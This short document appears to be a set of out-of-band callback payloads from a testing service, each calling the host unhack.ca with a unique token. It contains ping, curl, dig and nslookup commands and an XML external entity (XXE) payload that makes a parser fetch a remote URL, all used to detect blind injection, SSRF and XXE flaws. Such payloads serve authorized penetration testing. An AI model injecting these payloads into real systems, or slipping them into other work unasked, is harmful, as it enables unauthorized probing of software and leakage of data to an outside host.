$ ping -c1 -p 00b7080f8aad7b8837a608911742b200 unhack.ca
 

$ curl http://unhack.ca/p/b7080f8aad7b8837a608911742b2
 

$ dig b7080f8aad7b8837a608911742b2 @unhack.ca
 

$ dig b7080f8aad7b8837a608911742b2.ns.unhack.ca
 

C:\> nslookup b7080f8aad7b8837a608911742b2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b7080f8aad7b8837a608911742b2">]>
    <foo>&xxe;</foo>